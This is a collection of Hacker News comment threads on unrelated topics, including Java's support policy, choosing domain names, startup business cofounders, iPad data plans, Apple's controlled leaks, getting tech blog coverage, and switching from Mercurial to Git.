> is obsolete.
> In practical terms it means that there are no more security updates from
> Oracle.
What?!? If I have Java 9, I have to upgrade _the day Java 10 is released_ to
be secure? I have to do major (i.e. feature breaking) upgrades to get security
updates?
How is this a sane policy, and how many people are going to be running
unpatched Java versions?
~~~
bitwize
Either patch it yourself, or pay Oracle for a support license.
~~~
tormeh
Sounds reasonable to me. People who expect free support on an open source
product mystify me.
~~~
paulddraper
[https://wiki.ubuntu.com/LTS](https://wiki.ubuntu.com/LTS)
[https://jenkins.io/download/lts/](https://jenkins.io/download/lts/)
[https://github.com/nodejs/Release](https://github.com/nodejs/Release)
[https://www.python.org/dev/peps/pep-0407/](https://www.python.org/dev/peps/pep-0407/)
------
therealmarv
Thanks. Stayed on Java 8 because had some smaller problems with Java 9. Now
I'm happy I stayed with Java 8 (LTS).
~~~
md365
Ironically, some claims that Java 9 feels like home.
------
fulafel
What are the practical problems Java apps typically run into when upgrading?
Or is this more about not wanting to redeploy and test your app every 6
months?
~~~
needusername
I would say it depends, its quite easy to unknowingly depend on non-standard
behavior that can break like HashMap iteration order.
What often causes issues is that every release has a new byte code version and
the ecosystem relies heavily on byte code libraries so these will have to be
updated across the board (eg. you use middleware that uses a framework that
uses a byte code library).
Things on the top of my head that can break with Java 9:
\- new gc logging options and format
\- rt.jar and tools.jar are gone
\- new JDK layout
\- Corba, XML and Annotation classes no longer visible by default
\- application class loader is no longer and URL class loader
\- a different hack is required to munmap files
It's not too bad in general.
------
marcodave
on one hand, I'm pretty ok with this, it helps more understanding that "hey,
you're several security patches behind!" rather than just hiding the
information in a build number. what's not really clear at least from the
article, how will new APIs be rolled out with this faster release cycle?
~~~
dragonwriter
New APIs will be part of the every 6 months feature releases. Which means if
you aren't on the LTS, you need to stay up with _feature_ releases to get
_security_ updates after 6 months.
~~~
needusername
Also old APIs can be removed part of the every 6 months feature releases. In
theory an API can be deprecated in Java 10 and removed in Java 11.
------
princekolt
There will come a time when, just like flash, it will simply be easier to
uninstall it and move on.
| {
"pile_set_name": "HackerNews"
} |
How to choose a domain name - akkartik
http://swombat.com/2011/4/14/domain-names
======
pbhjpbhj
Domain name choosing advice from "swombat.com"?
Quite a good summary piece nonetheless.
~~~
swombat
Hey, what's wrong with swombat? ;-)
Anyway, as I say in the article, the domain must be appropriate to the
audience. If you were building a SaaS startup, daringfireball.net would
probably be a terrible domain name.
~~~
daniel1980fl
ok, can you help me understand what kind of appropriate audience is for
"swombat" ?
~~~
kajecounterhack
Swombat's his handle and the site is essentially a blog. It doesn't strike me
as odd that his domain is the same as his username.
One might argue that the appropriate audience is HN, given that swombat is
active around here and a lot of people recognize his handle.
------
davesmylie
The "rules" for a good domain are not hard - eg, not exhaustive and in no
particular order:
\- pronounceable,
\- memorable
\- spellable (by a muppet)
\- contextual (eg somewhat related to you or your product)
The hard part is coming up with a domain name that meets those rules and is
not already taken. This gets harder every day.
My particular bugbear of late is the (mostly) recent trend towards .co
(columbia) names for those that missed out on the .com name they wanted. Just
means if you want to catch this traffic you need to register yet another
duplicate name for your site!
------
spoiledtechie
I find that 2 syllables is also extremely memorable. Just think how many
companies don't use two syllables and imagine how memorable they are. There is
a reason why many names don't go over just two.
~~~
gloob
I'm skeptical. I don't really see anything inherently less memorable about
Blackwater, Microsoft, or Coca-Cola than Pepsi, Apple, or Dropbox.
~~~
keiferski
Over two syllables, not under two.
------
atacrawl
Remember when eBay launched their would-be "Craigslist killer" and called it
Kijiji? _That_ was a bad domain name.
------
eof
Make sure it isn't a US controlled name.
------
staunch
granttree is a pretty bad name IMHO. I doubt non-native english speakers can
understand it. Probably wouldn't pass the phone test. Biggest problem is the
double T (and you don't own grantree.co.uk to catch that).
~~~
swombat
We do own grantree.co.uk, and so long as you enunciate properly (grANT-Tree)
people can hear it fine, in our experience. The key is to emphasize the ANT
and separate it from the next T. Otherwise people sometimes hear Grunt-ree or
something.
~~~
kmgroove
Doesn't this confusion alone make it a bad name?
~~~
swombat
It's worth the positive associations of the name, imho. Everyone "gets"
GrantTree and likes it.
------
imwilsonxu
Take a look at these good (or successful) domains:
yahoo google facebook ...
Pattern? "dboule o"! :)
| {
"pile_set_name": "HackerNews"
} |
The WWII-Era Plane Giving the F-35 a Run for Its Money - da02
https://motherboard.vice.com/en_us/article/low-and-slow
======
geezerjay
Calling the super tucano a WW2 plane is rather disingenuous.
[https://en.wikipedia.org/wiki/Embraer_EMB_314_Super_Tucano](https://en.wikipedia.org/wiki/Embraer_EMB_314_Super_Tucano)
~~~
untangle
Agreed. A better title would be "$4M turboprop provides unique value in
Afghanistan combat."
| {
"pile_set_name": "HackerNews"
} |
Startup founder evolution (or, the biz guy *is* valuable, just not at first) - ph0rque
http://www.tonywright.com/2008/startup-founder-evolution/
======
ryanwaggoner
Excellent post. Too often, product guys and business guys don't really
understand each other or the value that each bring to the table. I've lost
count of the number of times that I've watched business entrepreneurs try and
hire a code monkey to build their vision for a tiny fraction of the equity,
knowing that they'll probably fail because they place too little emphasis on
the product and technical vision, especially in the early days. Similarly,
I've seen a lot of disdain for business entrepreneurs from the hacker side of
the tech community, probably partly due to backlash from the "code monkey"
mentality described above, but also due to a fundamental misunderstanding of
the value of marketing and sales. Both sides are important, but which is more
relevant is determined by the phase you're in.
------
rgrieselhuber
Great post, and a great reminder for builder entrepreneurs. I agree that the
best biz people are the ones who come from a technical background and have
successful transitioned into a biz dev mindset. I've seen it many times. The
people who understand both how to build products and how to sell them are rare
and extremely valuable.
~~~
jwilliams
> I agree that the best biz people are the ones who come from a technical
> background and have successful transitioned into a biz dev mindset.
Not disagreeing with you, but if I'd probably not like to be called the "tech
guy". Or the "biz guy" for that matter. I'd feel it too pigeon-holing.
Maybe works for others, and when the division is very cut&dry - I'm probably
just being oversensitive - but I'd personally find labels like that too
limiting - especially in a startup where you only have, say, 2-3 people...
each with multiple skills and differing, overlapping levels of proficiency.
~~~
rgrieselhuber
Good point.
------
pxlpshr
Hmmm, I would be hesitant to say the 'biz guy' isn't valuable at the start. If
you're bootstrapping a company and there's 4 of you crammed into a room, it's
probably not the time and place for him yet... But, I've seen teams dismantle
themselves over disagreements about features, direction, or quite simply drown
in incomplete and unfinished objectives. Your typical hacker is usually not
the best manager or leader.
I think it's good practice to have a few friends/mentors/advisors to make sure
you're not drinking too much of your own kool-aid, and provide advice from
time to time.
~~~
anamax
> Your typical hacker is usually not the best manager or leader.
Is your typical biz guy?
------
danielhodgins
Come on techies- why so few responses? Is it because he's right? Is it because
you all think you're so smart, precious, and valuable that no 'suit' could
ever add any value? Well, looks at Jobs and Gates. Those techies-turned shrewd
businessmen show that smart developers learn the business side of things as
well. Conversely, business guys should be learning as much about the technical
side as possible without having to directly own it. I have attempted to do
just that, and it has helped me immensely in my own startup. I would also add
that understanding the design and copywriting end of things is quite valuable.
In the end, the sales copy is what replaces you and brings in cold, hard cash.
That's why the top copywriters in the world charge up to $500/hr- they create
words that generate cold hard cash in your bank account. And they are worth
every penny of that investment.
The best way to increase the odds of startup success is multidisciplinary
teams that cross-pollinate and respect other disciplines. The developers
should understand customers, marketing, and visual design and the business
guys should always be learning anything they can about workflow and technical
vision. In addition, design adds a lot of value, and both the techies and
suits should enjoy learning lots about design.
Thanks again for a fascinating read and great graphs. Drop some comments
people!
~~~
timr
_"Come on techies- why so few responses? Is it because he's right? Is it
because you all think you're so smart, precious, and valuable that no 'suit'
could ever add any value?"_
I'm just going out on a limb here, but maybe it's because this was posted less
than three hours ago, on a Saturday afternoon?
~~~
danielhodgins
Fair enough, you got me there.....I was so excited about the post I forgot to
question why there might not be any comments.
Sometimes that's what happens when you are doing design/biz
dev/recruiting/hiring/marketing/testing/metrics/admin/coordinating
freelancers/articulating the vision/project management/etc/etc.....7
days/week, 12 hours/day. Execution is a lot of hard work, and there are lots
of painful lessons learned through trial and error that look obvious in
hindsight. Onward!
------
jmtame
I'm a technical guy, but I don't think this has to be a polarized debate. I
think business founders might have a few roles to play early in the startup:
1) Hire new talent 2) Raise capital 3) Handle day to day things (frees the
technical co-founder from much of the time-intensive due diligence)
The business guy cannot conduct technical interviews, however. He also needs
to be extremely reliable if he's negotiating term sheets. And he needs to stay
active with business development stuff, probably leave it to the CTO to manage
the technical people.
Maybe it's possible to have both business and tech people, but I do agree that
it's best to have more technical people early on. After all, how do you forge
business relationships without a product? I would say if anything, the
business guy should be responsible for going out and pitching every day. Get
those business terms down to a tee, and make it a goal to have many high-
quality and interested investors. That is something that itself can take up
all of a technical founders' time.
I met with one of the guys who started and sold EUNet (one of Europe's larger
ISPs). He said "you know what makes a really good executive? It's the people
who know to do the right things. Leave it to the middle-level managers and
product developers to know how to do things right." Perhaps one of the goals
of a business co-founder is to be absolutely sure about the market and the
idea, or to always challenge it. Someone has to ask "are the engineers
building something people want?" Most of the time, engineers are building
something cool to them. And they're usually eager to work on challenging
things. But is it something people want? I would say you're very lucky if the
technical co-founder has this type of aptitude. I can only think of a few who
do. Levchin has it, Zuckerberg has it, Gates and Jobs (Jobs being arguably
less technical, but extremely product-driven) both have it too. Those are
difficult people to find.
------
ojbyrne
While I agree that a good business person is invaluable, I just read moneyball
and I think the following quote captures what I see as a difference between
the biz people and the tech people (but in terms of baseball staff and
baseball players):
"Anyone who wanders into Major League Baseball can’t help but notice the stark
contrast between the field of play and the uneasy space just off it, where the
executives and scouts make their livings. The game itself is a ruthless
competition. Unless you’re very good, you don’t survive in it. But in the
space just off the field of play there is no level of incompetence that won’t
be tolerated. There are many reasons for this, but the big one is that
baseball has structured itself as a social club."
------
nir
I think this relates to a recent discussion here about Customer Development as
something that should be done from the very early stages, closely tied to the
product development effort. (
[http://startuplessonslearned.blogspot.com/2008/11/what-is-
cu...](http://startuplessonslearned.blogspot.com/2008/11/what-is-customer-
development.html) )
As a tech guy, if I were starting a company I'd like to have a biz person with
me from day one, talking to potential customers, bringing in feedback and
helping make sure we build something people are actually willing to pay for.
------
trapper
It's easy to build something that can't be sold. So while you might not think
the biz guy is valuable at the start, many of us would think so. Otherwise
you'll end up with YAW2ATWF (Yet another web2 app that will fail).
| {
"pile_set_name": "HackerNews"
} |
Hey, Apple Here's why I am not buying more iPads - robomartin
<p><pre><code> TL;DR:
Data Plans and Carrier Tethering.
Data Plans: Too expensive and unfair. Should be like DSL.
Carrier Tethering: I want to buy an iPad, not a life-long hardware dependency to a carrier.
</code></pre>
Here's the long version:<p>We have one iPad 2, two iPhone 4's, two iPhone 3GS's and three iPod Touch's (and a bunch of Mac stuff). I'd like to buy iPads for the kids. Three of them. Ain't doing it. Why?<p>Data plans are really unfair. Why should I pay for separate data plans? Why can't I buy a family plan of some sort that is based on bandwidth used or some other metric. First of all, most of our devices are operating out of WiFi most of the time. Which means that the carrier is charging me not to consume bandwidth. And, in fact, I am already paying the same carrier (AT&T) for my DSL connectivity! Double charging for the same bytes shuffling about?<p>If my family had four iPads we'd have to spend a minimum of $100 per month on connectivity. Again, most of the time we are all on WiFi. But, at times, we are not. And, in general terms, only one or two devices would be away from WiFi at any given time. Yet, we have to pay to not consumer carrier bandwidth.<p>You could easily find yourself spending hundreds of dollars a month only because you have multiple devices. If DSL where priced this way most homes would have to pay several times more what they pay today as it isn't uncommon to find multiple devices using the connection at all times.<p>You'd probably sell more devices if data plans were closer to the way DSL is priced: Charge me a fixed amount per month for a given SLA, no matter how many devices my family owns.<p>Secondly, there's the issue of carrier tethering. Stop it! Please! I want to buy an iPad or iPhone. That's what I am buying. I couldn't care less who the carrier is as long as the service level is good. And, I should be able to instantly switch to another carrier if the one I am with stops servicing me well. I should not have to spend hundreds of dollars to buy the same device with a different RF section so that I can switch carriers.<p>Anyhow, as I said, I am not buying more devices because of at least these reasons. I would imagine there are lots of other folks who are on the same boat.
======
mark-r
You're blaming Apple because the different carriers all decided on
incompatible RF standards? You're blaming Apple because your carrier doesn't
offer a family data plan, and you refuse to consider a wifi-only iPad? I think
you're ranting in the wrong direction, and in the wrong place.
~~~
Mankhool
I agree. I wonder what kind of telecom market entrance Apple could make with
$100 Billion?
~~~
ImprovedSilence
Seeing as how Verizon's operating revenue is over $100 Billion a year (it's
about the same as Apples). They'd have 1 year to make it work before it sunk
the company. while I agree the mobile carrier biz is all sorts of mal-adjusted
to market demands insufferably dis-jointed, the technology and it's robustness
they bring to the table is really quite remarkable.
------
ImprovedSilence
I know how you feel, it seems like a big waste. Why wouldn't you just buy them
and not get data plans? It's not like you're forced to get ipads with the data
plan. Especially if they'll be on wifi most of the time. And if it's for you
kids, lets be honest, most of their time will be spent playing games, which a
data plan is not necessary for once, they've got the app.
As far as different carriers using different technology, haha, good luck with
that. The difference between Verizon or AT&T's cellular technology goes a
little bit beyond "a different RF section" But the whole point of LTE is that
eventually everybody will be on that standard, then you really shouldn't have
to worry much.
------
MattBearman
While I agree with your complaint, it's not Apple's fault, and more
importantly, I don't think this would work as DSL is tied to a physical
location (your house).
If mobile data was charged the same way, what's to stop you and 49 of your
friends each chipping in 0.50 a month and sharing the data plan?
Of course fair use would come in to play, but the system would be so open to
abuse that the fair usage policy would end up being very low and ruthlessly
enforced.
~~~
grobolom
@ the mobile data thing : data caps. I pay for 2 GB of data usage a month. I
don't see anything wrong with my friend tossing me $15 and using 1 GB. If 50
people want to split it, I don't see a problem with it (though they probably
will).
------
CyberFonic
Very strange! You should only need to change the microSIM to change carriers.
The RF is the same for all iPads.
In Australia you can buy pre-paid SIMs. That is, you get a chunk of data which
you have a certain time to use. Some options are as long as 12 months.
Different carriers have different plans but it is not hard to find a plan that
suits your usage pattern. And you can switch the SIMs between devices in your
family.
------
coryl
Why do you need an iPad with data? Not good enough just to have wifi?
------
monirz77
Definitely a first world problem. Is wifi connection not enough? Are you just
reading/surfing or are you developing complex apps that you need a lot of
bandwidth?
That's why I don't have an iPad. My only 1 Mac keeps me busy enough. Or have
we run out of more fun things to do?
| {
"pile_set_name": "HackerNews"
} |
How Apple Does Controlled Leaks - prat
http://www.macobserver.com/tmo/article/how_apple_does_controlled_leaks/
======
pohl
What's more interesting to me is how they avoid unintended leaks. I've been
told of a keycard system that knows if two different people are working on
different components of a product, and won't let them into a particular room
with each other at the same time, lest they put 2 and 2 together...like, for
example, if one person is working on a touch screen and another is working
with cell phone transmitters.
~~~
prat
That's a very strange/sad way of working. At work, I have always known the end
product toward which I am building. I can't imagine working with so many
firewalls.
~~~
RyanMcGreal
OTOH given Apple's track record, employees can probably just tell themselves,
"Whatever I'm working on, someone smarter than me is overseeing it. I'm sure
it will be awesome."
That's got to be more encouraging than knowing exactly what you're working on
and despairing as a result.
~~~
algorias
If being treated like a child works for you, that's great. It doesn't for me.
If those rumours are true, Apple must be an incredibly stifling and
frustrating place to work for smart, creative people.
~~~
Estragon
Apple must be an incredibly stifling and frustrating place to work for smart,
creative people.
I agree. And yet, they keep producing all this innovative stuff. It's a
paradox, to me.
------
wallflower
For those who missed it (I was wondering why people were now saying March):
"Apple to Ship Tablet Device in March"
[http://online.wsj.com/article/SB1000142405274870358090457463...](http://online.wsj.com/article/SB10001424052748703580904574638630584151614.html)
~~~
jcnnghm
It's behind a subscription wall. Do you know what the suggested pricepoint is?
~~~
thaumaturgy
Apple's putting its toes in the water with a $1,000 price tag.
~~~
jcnnghm
Ouch... That's about $400 more than I'd probably be willing to pay for a
decent tablet. I wonder what kind of use-cases they're envisioning.
~~~
SwellJoe
_That's about $400 more_
You could also view it as a ~$100 discount on the Mac OS X tax, if it's only
$400 more than equivalent Windows or Linux tablets. Apple laptops tend to be
about $500 more than similarly equipped laptops from other manufacturers (my
last Dell was $626 cheaper than an almost identically equipped MacBook Pro).
Of course, I don't know what Windows and Linux-based tablets are actually
going to cost, so the Mac OS X tax may be more or less on tablets. I guess
we'll see when the tablets start hitting the market in reasonable numbers.
I'm not entirely sure I see the use case for a tablet at any price...though I
have a netbook, and like it, and have a Kindle, and like it (but the insane
battery life is a primary factor for the Kindle; a tablet won't be able to
come close). So, I may figure out uses for a tablet when they're more common.
~~~
jstevens85
I find that some people have an Aspergers-like view on laptops. If two laptops
have the same processor, HD size and RAM, then they're identical.
But of course there are other important specs like the materials used in the
construction. Alluminium is more expensive than plastic and far stronger and
sturdier. A thinner laptop is also much more expensive. It requires thinner
DVD drives and fans. Motherboard components need to be shrunk. Need to use
smaller, more expensive capacitors. A smaller, more dense battery with the
same capacity. The same core temperature with a much smaller thermal envelope.
Minimalist design. None of this is trivial and adds significantly to the cost.
~~~
SwellJoe
It's OK.
------
cmgarcia
This article shouldn't be surprising to anyone with their ear to the ground
for Apple news, but it certainly was nice to read from the former Senior
Marketing Manager for Apple.
~~~
andrew1
A small slightly pedantic point, but that should be 'a Senior Marketing
Manager' rather than 'the Senior Marketing Manager'.
The Senior Marketing Manager is, I imagine, a very important person. A Senior
Marketing Manager is, well, a manager in the marketing department who is in
some sense 'Senior'.
~~~
blantonl
sigh... small pedantic point?
| {
"pile_set_name": "HackerNews"
} |
How To Get Covered In a Major Tech Blog - dshipper
http://dshipper.posterous.com/how-to-get-covered-in-a-major-tech-blog
======
Mystalic
Actually, this is pretty much in line with the advice I give to entrepreneurs
when they're pitching me for a story on Mashable.
The big things to remember:
\- We get hundreds of emails per day. I can barely keep up, so I need to use
personal filters to weed out stories I'm going to follow up on. That means I
trash long emails, emails that don't get to the point, and anything with
buzzwords.
\- Best thing is always an intro from somebody I know about the
company/product. Cold pitches have a much lower chance of working.
\- Short, pithy emails. Get to the point in less than a paragraph and then ask
if I want to learn more.
\- Know the audience. Mashable is a consumer-centric publication -- we don't
cover a lot of enterprise news or startups. Our readers DEVOUR great consumer
products that help them manage their digital lives though.
\- Know the reporter. Mashable has two reporters that focus on startups. Most
of my time is spent editing, which means I have less time than I'd like to
write about startups. Some reporters focus on entertainment, others on mobile.
Know which one focuses on what and try to get the appropriate person to pitch.
\- Don't pitch via Facebook, Twitter or anything but email or in-person if
you're at an event and find me. Even then though, I'll ask you to email me in
case I want to forward it to another reporter.
~ Ben
~~~
dshipper
Wow I did not expect to hear from the Editor-At-Large at Mashable. Thanks so
much for the comment - really valuable to stuff :) Interesting point about not
pitching via Facebook. Maybe I should remove that. Do you think that it goes
over the line, or is it just annoying?
~~~
Mystalic
Use Facebook to figure out who our mutual connections are, but don't send the
pitch in a Facebook Message. Facebook is my personal space and I like managing
my pitches in one central location.
Other journalists may have different feelings, but I think most of us prefer
email.
~~~
dshipper
Now that I think about it I wonder if there's an opening for an app that helps
journalists manage and keep track of pitches.
Does something like that exist? I feel like email isn't necessarily the most
efficient system for it.
~~~
Mystalic
I've thought about it -- I know one or two make Google Docs for pitches.
Problem is getting the people who email me to change their behavior.
~~~
dshipper
What about being able to copy paste code that would hook the submit a story
form on your site into the CRM?
------
patio11
Convince the reporter you are speaking to that you are about to get covered in
_another_ major tech blog.
This works with dead tree media, too. Also works after you've been covered,
since then you are an Officially Credible Source. There's a reporter who calls
me every time she needs a Japan quote. I know why, theoretically, but "Say,
did you see the soccer game? Can you sum up how Japan feels about winning? Is
it a sign that the country is turning the corner and finding something to be
proud in again?" at 4 AM always strikes me as funny.
I suppose if I cared to keep getting called at 4 AM I should give her the
story she so transparently wants to write...
------
Eliezer
Have an interesting startup, one that's doing something that will make a large
difference to a large number of people and doesn't look just like every other
startup begging for coverage.
------
mikeleeorg
Here's a nice tool to help you find out how you're connected to journalists on
Facebook & LinkedIn: <http://www.gohachi.com/>
Hopefully an email from a direction connection on Facebook or LinkedIn would
annoy a journalist less than a cold Facebook or LinkedIn message from you.
(re: Mystallic's comment)
------
hxf148
From my personal experience you have to keep at it. We are a small team
(<http://infostripe.com>) and we go in cycles of development and promotion.
Throughout our beta as we reached each major milestone we have turned to
journalists and tech blogs for coverage. With varying degrees of success.
Honestly it's hard to get attention when you are small, without major funding
or in the right network circles. But we have pushed on and with each major
update we get a little more traction with coverage and learn from our efforts.
Our users love us but convincing the filters that be that we are worth their
500 words is a challenge that we underestimated. Thanks for your post, there
are some good points in there and has provoked some interested responses.
------
jsm386
Following up on this, once the first 'major tech blog' has covered you it is a
_whole lot_ easier to get the others. For my last project, GroupTabs (didn't
work out, but that is another story) we id'd a journalist who had been working
our beat (LBS). He was very receptive
([http://venturebeat.com/2010/08/09/grouptabs-rewards-
groups-f...](http://venturebeat.com/2010/08/09/grouptabs-rewards-groups-for-
checking-in/)) and once that hit, Mashable followed (spark of genius is
invaluable press opp).
After that the bloggers started coming to us.
People also did seem to like our video as an 'outrageous' pitch:
<http://www.youtube.com/watch?v=ACh-FqQqU4Q>
------
start123
I am tech-blogger and I receive a lot of mails from startups. So, I will spell
out few tips on how to pitch better.
1\. You need to have a story to tell. Don't worry if its not too dramatic, but
you need to add that human element. 2\. Catchy Subject lines: I remember a
mail which had the subject "Two 17 year olds create the first RSS based social
networking site". Could never ignore that. 3\. Resources: Please provide us
with relevant resources like a logo, a screenshot and a press release(if any).
4\. About your company: Please tell us a bit about your company, who the
founders are, investments made and any press mentions. 5\. Do not spam: Do not
send more than three mails asking us to feature you. That is frowned upon.
------
RobIsIT
How much effort is coverage in a major tech blog worth?
Thinking about Moore's Chasam, doesn't coverage in a major tech blog encourage
more early adopters that will consume the few startup resources you have
before they move on to the next startup covered?
Or...
Is coverage worth it? Do a shockingly strong percentage of early adopters
reliably become paying customers or engaged users?
I know the answer to this will be subjective, but in my mind, this is why I've
never pushed for coverage in major tech blogs. If they pick something up on
their own, that's fine... but I've never been sure if the effort is worth the
cost and reward.
~~~
dreamdu5t
I would personally rather have my product or service good enough that
customers will market it for me.
To me, being featured in a publication like TechCrunch would only be exciting
because of the traffic. Too many people see it as validation for their
product/service when it's anything but.
------
indec
Was there particular value in the YC Y U NO coverage? Seems like coverage for
coverage's sake. Networking value, perhaps?
~~~
dshipper
Yes! There was a ton of value in it because it came a few days before we
interviewed at YC. So it drove signups to our app and we got to show the
partners that we were able to build an app in two days and get it on
TechCrunch. We didn't wind up getting funded but I think it certainly helped
our case :)
------
jacques_chester
Short version: promote yourself.
~~~
dshipper
Even though that may seem obvious I think a lot of people don't do it
correctly. I hear a lot of people who say "Oh I submitted it to TechCrunch and
didn't hear anything so I don't think it's going to get covered." That's the
exact wrong mentality to have. Getting coverage is a game of percentages, and
anything you can do to maximize those percentages should be taken advantage
of. Don't pin all of your hopes on TechCrunch. Build an awesome product. Craft
a great story. Then shout it from the rooftops, and leverage any connections
you have to get people talking about it.
~~~
jacques_chester
> Then shout it from the rooftops, and leverage any connections you have to
> get people talking about it.
In short: promote yourself.
Including writing stories about how you promoted yourself. Well done sir.
My mum used to raise money as her profession, I've seen how effective it is to
work the phones for publicity.
~~~
dshipper
Thanks man. Just trying to share my experience :). It's funny how much
different marketing is now from back when people had to work the phones. I
don't think I've ever gotten any type of coverage or connection from a phone
call. Now it's all emails and social media. Things have certainly changed - I
imagine it's way easier now than it ever was before. Especially for someone
like me who's still in college.
~~~
jacques_chester
The principles are the same, though. You have the gist of it: contact everyone
you know. You're working the emails and tweets.
The downside is that without being careful you can come to be seen as a user.
I see this mostly with people who get sucked into Amway or some other such
can't-legally-refer-to-it-as-a-pyramid-scheme.
I wonder if the startup economy has sprouted any fixers yet -- those
infinitely connected people everyone goes through because everyone goes
through them.
~~~
dshipper
Definitely true. I think they certainly exist in the startup economy just
because that's the way things seem to work. It's the 80/20 rule. The vast
majority of people are connected to a smaller subset that make it their
business to know everyone.
------
dredmorbius
How to get your blog read by grumpy HN folks: don't use a f*cking gray font
color.
Too little contrast. Didn't read.
~~~
dshipper
Damn default posterous themes :) sorry about that
| {
"pile_set_name": "HackerNews"
} |
Why I Switched to Git From Mercurial - pilif
http://blog.extracheese.org/2010/05/why-i-switched-to-git-from-mercurial.html
======
mbrubeck
I've used Git for three years, at two different companies and various personal
and community projects. I sync my home directory between hosts using git, I
have administered multi-user git repos using gitosis, and I have been a GitHub
user since early 2008.
I started using Mercurial two months ago when I joined the Mozilla
corporation, and now use it every day on one of the biggest and best-supported
installations in the world. I also started using BitBucket for some of my
Mozilla-related personal projects.
It might be that I don't fully "get" Mercurial yet, but I still find myself
frequently missing Git. My first impression is that Git has a simple flexible
model that supports a complex front-end, while Mercurial has a simple
extensible front-end that ends up creating a somewhat more complicated model.
Any time I need to step outside the standard commit-merge-push workflow, I
find the higher level of abstraction between Mercurial's user commands and its
database makes it harder to understand what I'm doing, and sometimes prevents
me from doing what I want. Things like rewriting history (e.g. for rebasing),
or combining changes from multiple remote repos with different sets of
branches, are still possible in Mercurial - but they usually require plugins
to do well, there are more different incompatible ways to do them, and there
are more opportunities to mess up your repo.
More concretely, I find that MQ is the best way to do many tasks in Mercurial
that I would do in git with plain old branches and commits, and for many of
these uses MQ is both more complicated and less flexible than the equivalent
git commands. (But there are other uses where MQ is really better than the
alternatives.) I also find that it's much more annoying to manage short-lived
throwaway or topic branches in Mercurial, so much that I simply avoid using
them much of the time.
But perhaps I'm just brainwashed (or brain-damaged) from too many years with
Git. :)
~~~
jwr
Good point about MQ, before people pointed me to it, I was continuously
surprised by many things I could not easily do in hg.
The DVCS crowd looks down on centralized VCSses and points out that whenever
the answer to a VCS question begins with "well, you should have done X before
you did this…", it marks a failure.
Fair enough.
But I would extend that further — when I ask "how do I do X with this VCS", I
don't want to be told "well see, you don't really want to be doing X". Yes I
do want to, and I want a VCS that let's me do pretty much anything I want.
That's git's approach.
------
ErrantX
I use Mercurial and much much prefer it to Git (personal preference, I'll try
not to evangalize)
In part he is dead on.
hg really can't handle large repositories; but to be honest if you're working
with GB's of data then you're using the wrong tool :) period.
Point two is a "complaint" I agree with. The repository structure isn't
particularly good - it "works" for the most part but sometimes you just want
to kick it. And forget hacking around with it..
Silly things like "hg copy [file]" doesn't copy file history but does a
remove/add & cp/rm are another ball ache.
Ultimately hg is a _good_ tool; for lightweight, hackerish version control it
is great. Beyond that? Yeh, use Git.
~~~
tjogin
But isn't also Git just as good at the stuff you think hg is good at?
~~~
ErrantX
Yes.... though it is more complex (and in my experience a lot of that
complexity is not needed by most). So hg is a nice portable alternative.
~~~
charlesmarshall
What part do you find complicated about git? The basic commands are: git
clone, git add, git commit, git push ... most of these are handled by guis
(tortoise, gitx, etc) so all you have to do then is click the right button
~~~
ErrantX
Well, exactly. For the vast majority of people those are the only four
commands needed. So hg is a great alternative to git.
If you need something more complex or specialist then git is the clear winner.
~~~
weaksauce
I think the parent is trying to say that why use a tool that is "hackerish" if
they both do the same thing with the same few commands. Then if you need to do
something more complex you already have git.
Edit: iPad mistype.
~~~
ErrantX
I know this is glib but; it's more "raw" :)
But that's a personal preference. Git is just as good a choice.
------
pilif
personally, I really don't get the complaints about git's UI. OK. I understand
the confusion about what checkout does, though on the other hand, once you
know that, it won't happen to you.
But a revision control system failing to not corrupt or crash depending on the
data you put into it is, frankly, no revision control system.
Just like a database failing to return the same data back that you told it to
store and without telling you a problem occurred at store time is no database
either ( _cough_ mysql _cough_ ).
~~~
danh
"I really don't get the complaints about git's UI"
I think it's because git's data model is so minimal and elegant, and the UI is
anything but.
For me, it's not so much that the UI is quite bad (which it is), but that it
could have been brilliant.
~~~
etherealG
Perhaps you could elaborate on a UI design that would be brilliant. Even
better, code it, if you can improve do. I'll tell you what, if you even
succeed in describing such an interface, I'll build it for you.
~~~
danh
Oh, I didn't say that it would have been brilliant if I had built it. But I'll
bite anyway. Or at least provide a couple of thoughts.
The index is one of the key components in git, but it doesn't really have a
name or label in the UI. Say that it was called "index"; then the current "git
diff" would be equivalent to "git diff index", and the current "git diff
--cached" to "git diff index..HEAD". Less special cases to remember. IMHO, of
course.
The same way "git checkout index foo.c" would fetch foo.c from the index (I
don't even remember the magic incantation for doing that now). Etc.
Also, I still think that using the index should be optional: "git diff" should
default to "git diff HEAD", "git commit" should default to the current "git
commit -a", etc.
"git checkout" tries to do too much. It creates and switches to branches, and
copies blobs from the repository to the working tree. The first form is
reasonably safe, and bails out without --force if you do something stupid, the
second does not. At least for me, the only way to learn the difference is the
hard way.
The branch-switching should probably be done by "git branch" instead, and the
fetching of blobs by "git reset" (which sometimes already does this, but with
very confusing options; I never remember the difference between --soft,
--mixed, --hard, --mixed and whatever).
That's only a couple of changes that could have been made a long time ago. Now
it is definitely too late. Even if the git UI could be made smaller and more
logical (with a huge amount of work), it's not worth pissing off pretty much
every git user out there...
~~~
wfarr
I disagree on making `git commit -a` the default behavior for commits in git.
It discourages making nice, atomic commits.
~~~
danh
I agree that two-stage commits is a great feature to have. But there are
downsides to making it the default.
Obviously, it trips beginners up.
And it encourages committing stuff that may never have coexisted in the
working tree - and thus have never been tested together.
~~~
wfarr
I can't think of any reason for someone to commit changes that hadn't been
tested in the working tree or at least ran through the test suite before doing
so.
------
sreque
The author states three reasons for switching.
1\. Problems with storing big files in Mercurial. You can use the bigfiles
extension if you really want to manage large files with Mercurial.
2\. Inefficient renames. Making renames efficient is a currently recommended
GSoC project. I'm sure this will be fixed eventually even if no one picks it
up this summer.
3\. Destructive commands actually, well, destroying stuff. This point makes me
feel like the author knew git first, tried mercurial out, and switched back,
making the blog post a little misleading. I don't know how you could expect a
delete not to be a delete unless you were familiar with something like git
already. If I were to run a delete command in Mercurial, I would read the
documentation on the command first to make sure it created a backup for me.
Only if it then failed to create this backup would I complain. Also, I think I
prefer the bundle approach of Mercurial. You can always rename the bundles to
keep track of them. You could even write your own extension in 5 lines that
ran a destructive command and immediately unbundled the created bundle to
restore your changesets, exactly duplicating git's functionality.
The first two issues he mentions I would consider to be actually valid
complaints against Mercurial, the third just a personal preference of the
author. I would consider neither of them to be major game-changing issues.
~~~
vtail
> I don't know how you could expect a delete not to be a delete unless you
> were familiar with something like git already.
Ability to control and be able to reverse _any_ changes you make to the source
code tree is an essential feature of version control system - precisely
because you don't know in advance what will work and what won't. The fact that
people are not used to that simple idea just shows how broken are most of the
other tools out there.
